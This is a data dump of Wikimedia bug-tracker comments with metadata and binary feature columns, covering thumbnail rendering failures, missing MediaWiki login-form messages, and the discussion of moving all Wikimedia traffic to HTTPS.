+In fact, I'll just mark this bug fixed and open a new one for using VipsScaler for gifs also (right now VipsScaler is only used on large pngs).",,,1374777991,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-t7uky7ylyhoato3n62xw,task_subcomment,,True,c2,1,False,,,-5,True,1,0,0,1,1,1,0,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,1
+222449,"Large thumbnails of ""lossless"" files return error","(In reply to comment #2)
+> I wonder if there's any way to reduce the used memory/cpu here, as the
+> provided
+> example that fails rendering isn't ""too"" big. Hence existing folks to run
+> into
+> this more often (visible), but don't know how many of our images are
+> lossless.
+
+Note the lossless/lossy thing isnt really the main reason, it more has to do with how image magick doesnt decompress the whole image all at once for nonprogressive jpeg, but does for other formats.
+
+Its been a long term issue that large progressive jpegs don't thumbnail either.
+
+The fix for this bug is bug 28135. Perhaps this should be duped to one of the vips related bugs (unlesd there is some in between step we could take im not aware of)",,,1367684179,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-t7uky7ylyhoato3n62xw,task_subcomment,,True,c2,1,False,,,-17,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+222438,"Large thumbnails of ""lossless"" files return error","I wonder if there's any way to reduce the used memory/cpu here, as the provided example that fails rendering isn't ""too"" big. Hence existing folks to run into this more often (visible), but don't know how many of our images are lossless.",,,1367573567,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-t7uky7ylyhoato3n62xw,task_subcomment,,True,c2,1,True,,,-17,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,0,0,1,1,0,0
+222430,"Large thumbnails of ""lossless"" files return error","possibly running into the actual resource limits. (if the program that scales images uses too much memory or cpu time, etc it gets killed).",,,1367533166,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-t7uky7ylyhoato3n62xw,task_subcomment,,True,c2,1,False,,,-17,True,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,1
+49883,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing","The new login form does not handle the messages 'loginstart', 'loginend' and 'login-https' (by default empty).
+
+The community use them to customize the login form.
+
+Maybe use new message keys to enforce creation of new text :-)
+
+Otherwise I predict that some Wikipedians will misuse the standard messages for their ideas...
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=56455",Medium,50.0,1367334000,1537178418.0,PHID-USER-3uecblbxq24ycewm2cog,False,PHID-USER-jnta3z3spxto3vbxdngm,False,PHID-TASK-avx5stgzcjhbzmeawj7d,task_description,resolved,True,c2,1,False,False,False,-18,True,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,1,0,0,0,1
+1142279,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing",There's now MediaWiki:Loginprompt. I'm boldly closing this.,,,1537178418,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,3,True,,,263,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+215284,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing","Removing target milestone that was in the past.
+
+If you want this in a specific release, have a good reason AND you are willing to find resources to fix this bug, feel free to change it to something appropriate.",,,1403380691,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,3,False,,,42,True,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+215278,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing","Oh, yes, there is an own template. Sorry.",,,1396098535,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,3,False,,,30,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0
+215272,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing","(In reply to Umherirrender from comment #13)
+> Gerrit change #97185 already merged to master, marking bug for backport
+
+That's signupstart and signupend; the bug is about login*.",,,1396060272,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,3,False,,,30,True,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1
+215265,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing","gerrit 97185 already merged to master, marking bug for backport",,,1395863050,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,3,False,,,30,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+215257,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing",https://gerrit.wikimedia.org/r/#/c/97185/,,,1390427254,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,3,False,,,21,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+215249,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing","(In reply to comment #9)
+> Yeah we did that for 'signupstart' and 'signupend', so if someone wants to
+> submit a patch for 'loginstart' and 'loginend', they're welcome to. 
+Can you please share the gerrit change id so that it would be easy for us to prepare the patch ?",,,1390390913,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,3,False,,,21,True,0,1,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1,1,0,0,0,1
+215243,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing","(In reply to comment #9)
+> (In reply to comment #8)
+> Yeah we did that for 'signupstart' and 'signupend', so if someone wants to
+> submit a patch for 'loginstart' and 'loginend', they're welcome to. 
+
+I added this to the backlog, so if no one takes this, we plan to take care of it at some point.  However, this will also require running a script, similarly to before.
+
+> 'login-https' should *not* be added back in, because 'userlogin-signwithsecure'
+> was created to replace it.
+
+I think these messages are actually signupend-https and loginend-https.  If I'm reading the code right, signupend-https was actually reinstated when signupend was, though it only takes effect if it's on HTTPS, and both signupend and signupend-https are non-blank.
+
+We could potentially keep it (and loginend-https) for third-party users (as with the others), but I'm not sure if it's still useful.",,,1390373891,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,3,False,,,21,True,1,1,0,1,1,1,1,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+215238,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing","**swalling** wrote:
+
+(In reply to comment #8)
+> (In reply to comment #7)
+> > those messages doesn't look used in new login form.
+> 
+> Yes, that's what this bug is about: they should be included again (though
+> empty
+> by default).
+
+Yeah we did that for 'signupstart' and 'signupend', so if someone wants to submit a patch for 'loginstart' and 'loginend', they're welcome to. 
+
+'login-https' should *not* be added back in, because 'userlogin-signwithsecure' was created to replace it.",,,1390372529,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,3,False,,,21,True,0,1,0,1,1,1,0,1,1,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+215235,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing","(In reply to comment #7)
+> those messages doesn't look used in new login form.
+
+Yes, that's what this bug is about: they should be included again (though empty by default).",,,1390199110,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,3,True,,,20,True,0,0,0,1,1,1,0,0,1,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1
+215232,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing","Should these messages be still there in core. 
+because, as per https://bugzilla.wikimedia.org/show_bug.cgi?id=47883#c0 ,
+those messages doesn't look used in new login form.",,,1390138714,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,3,False,,,20,True,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1
+215228,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing",It was just specular to bug 56455.,,,1386766742,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,3,True,,,15,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+215225,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing","I don't see this as ""high priority"" and major, but patches would certainly speed up fixing this.",,,1386766483,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,3,True,,,15,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0
+215220,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing","**parsonsa** wrote:
+
+I would like to see this feature returned for the following use case.
+
+We disable account creation and use the LdapAuthentication plugin.  Along with this, we use mod_auth_kerb to allow users to login with their Kerberos ticket.  We used to provide a link above the login form to let users login with their ticket.  Now, there is a not a good, clean way to put that link on the login page.",,,1386728104,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,3,False,,,15,True,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+215215,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing","Setting ""low enhancement"" as per comment 1, might be reconsidered depending on future feedback.",,,1367496495,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,1,True,,,-17,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0
+215212,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing",I wish you have right :-),,,1367344608,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+215205,"[New UserLogin] Messages 'loginstart', 'loginend' and 'login-https' missing","**swalling** wrote:
+
+It's unlikely that we will support the previous messages or new blank equivalents in this release. I'd rather wait and see if Wikipedians really ask or need to additional information, because we have endeavored to cover the three use cases for these custom messages -- user name policy, help documentation links, and security information like an HTTPS connection link -- in the default appearance of both new forms. So far in discussions on wikis which had these, like English Wikipedia and German Wikipedia, users have been understanding about why we removed the previous wordy messages and incorporated new information by default. If the mood changes and there are needs not being met without such messages, we will seriously consider adding new messages for that purpose.",,,1367344251,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-avx5stgzcjhbzmeawj7d,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,1,1,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,1,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+49832,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"It's 2013. Let's just get on with this.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=31323
+https://bugzilla.wikimedia.org/show_bug.cgi?id=39380
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51002",Medium,50.0,1367252160,1434485487.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-ks5ar2zjmd56p4q44exl,task_description,resolved,True,c2,1,True,False,False,-18,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+475873,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"This is resolved now for all of the primary domains on the primary production clusters (text, mobile, upload).  There are many smaller issues and other sites to address that don't live on the primary clusters, but I think this particularly long-winded task is ready to die now.",,,1434485487,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,93,True,1,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0
+474008,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"
+> 
+> The situation is not vague or indefinite internally - the process is simply not taking place in public view at this particular stage, and it's a meta process about the process, etc.  It will return to the world of real actionables in phab eventually.  I would be very surprised if we don't come to a decision (to set a timeline for enabling, or to define a set of clear, rational, solvable tasks that must be completed before enabling) within the next two weeks, but my predictive powers often fall short of infinite.
+
+And why precisely is it not taking place in the public view. Sure there's things that need to be secret, prices of hardware, etc. But deciding when and if to flip the switch hardly seems one of them. What is the threat model you're trying to defend against by being secretive?
+",,,1434154953,,PHID-USER-dpu5hmqvprhycqlkdzrk,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,False,,,93,True,0,0,1,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,1,0,1,1,1,0,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,1,1,1,1,0,0,1
+473990,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),See now https://blog.wikimedia.org/2015/06/12/securing-wikimedia-sites-with-https/,,,1434153852,,PHID-USER-wlku5ja6envbi4cz2etp,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,93,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+457533,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),">>! In T49832#1274748, @Tony_Tan_98 wrote:
+> My concern is that vague comments will delay us a lot longer.
+
+The situation is not vague or indefinite internally - the process is simply not taking place in public view at this particular stage, and it's a meta process about the process, etc.  It will return to the world of real actionables in phab eventually.  I would be very surprised if we don't come to a decision (to set a timeline for enabling, or to define a set of clear, rational, solvable tasks that must be completed before enabling) within the next two weeks, but my predictive powers often fall short of infinite.",,,1431437001,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,88,True,0,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,1
+456563,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"Information: Mozilla announced plan to deprecate Non-Secure HTTP: https://blog.mozilla.org/security/2015/04/30/deprecating-non-secure-http/
+
+HTTPS is the way to move forward. I agree with MZMcBride: ""Can we please be more specific here? Who is doing research and debating and when are such activities expected to finish? My concern is that vague comments will delay us a lot longer. In my opinion, at this point, given the technical all-clear, we need to figure out what the next specific action items are."" What are the issues that need to be discussed before we flip the switch? If there are potential problems, how should we go about solving them?",,,1431232958,,PHID-USER-gumeqoqwaswa2bctwrzp,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,False,,,88,True,1,0,0,1,0,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,0
+450228,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"My point about realtime here is that when we first turn on a 302 for a wiki or group of wikis, we can see the effect within minutes.  Seconds, even.  And we can undo that on similar timescales, none of which are concerned-about-Google-much timescales.",,,1430222870,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,86,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+450155,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),">>! In T49832#1240813, @BBlack wrote:
+> As I've stated before, personally I'd prefer to do the hard redirects before the rel=canonical during the initial rollout process, simply because it's easier to take back in realtime if anything doesn't work out as planned in terms of load and capacity.  We already have a process down for this stuff.  It's not my place to speak to the rest, but I assure you people are aware and working on it.
+
+Actually even if we specify rel=canonical, Google may still index HTTPS once we start to redirect from HTTP to HTTPS. 
+
+From https://support.google.com/webmasters/answer/139066?hl=en&rd=1#https:
+>Although our systems prefer HTTPS pages over HTTP pages by default, you can **ensure this behavior **by taking any of the following actions:
+>•**Add 301 or 302 redirects from the HTTP page to the HTTPS page**.
+>•Add a rel=""canonical"" link from the HTTP page to the HTTPS page.
+>•Implement HSTS.
+So I think if you really don't want Google to index HTTPS at first, we need to explicitly exclude Google from the HTTP-to-HTTPS redirect.",,,1430209087,,PHID-USER-arjqb24x4oae7awzpfp6,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,86,True,1,1,0,0,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,1,0,1,0,1,1,0,1
+450119,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),">>! In T49832#1240811, @MZMcBride wrote:
+> My understanding is that we could do a slow ramp-up by setting the canonical URL (via a <meta> tag in the <head> of the HTML page source) to specify HTTPS. This would signal our preference for HTTPS to Google and other crawlers. Would this be reasonable now across Wikimedia wikis?
+
+As I've stated before, personally I'd prefer to do the hard redirects before the rel=canonical during the initial rollout process, simply because it's easier to take back in realtime if anything doesn't work out as planned in terms of load and capacity.  We already have a process down for this stuff.  It's not my place to speak to the rest, but I assure you people are aware and working on it.",,,1430198417,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,86,True,0,1,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,1,1,0,1
+450118,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),">>! In T49832#1240760, @BBlack wrote:
+> Personally, I'm all for turning this on as quickly as we can and could write paragraphs on why we should in the net of all current considerations.  However, there's still some ongoing research and debate happening within the broader WMF as a whole regarding the impact of these decisions on all of the other things we value aside from privacy.
+
+Can we please be more specific here? Who is doing research and debating and when are such activities expected to finish? My concern is that vague comments will delay us a lot longer. In my opinion, at this point, given the technical all-clear, we need to figure out what the next specific action items are.
+
+My understanding is that we could do a slow ramp-up by setting the canonical URL (via a <meta> tag in the <head> of the HTML page source) to specify HTTPS. This would signal our preference for HTTPS to Google and other crawlers. Would this be reasonable now across Wikimedia wikis?",,,1430198074,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,86,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,1,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,1,1,1,1,1,0,1
+450099,Force all Wikimedia cluster traffic to be over SSL for all users (logged-in and anon),"Turning this on doesn't really go by-user-location, it goes by-wiki or groups of wikis (mostly because of HSTS, but regardless, geoip isn't reliable enough to make a hard distinction like this, and our datacenter locations aren't strictly tied to user location either).
+
+Personally, I'm all for turning this on as quickly as we can and could write paragraphs on why we should in the net of all current considerations.  However, there's still some ongoing research and debate happening within the broader WMF as a whole regarding the impact of these decisions on all of the other things we value aside from privacy.",,,1430194891,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-ks5ar2zjmd56p4q44exl,task_subcomment,,True,c2,3,True,,,86,True,1,0,0,0,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,1,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
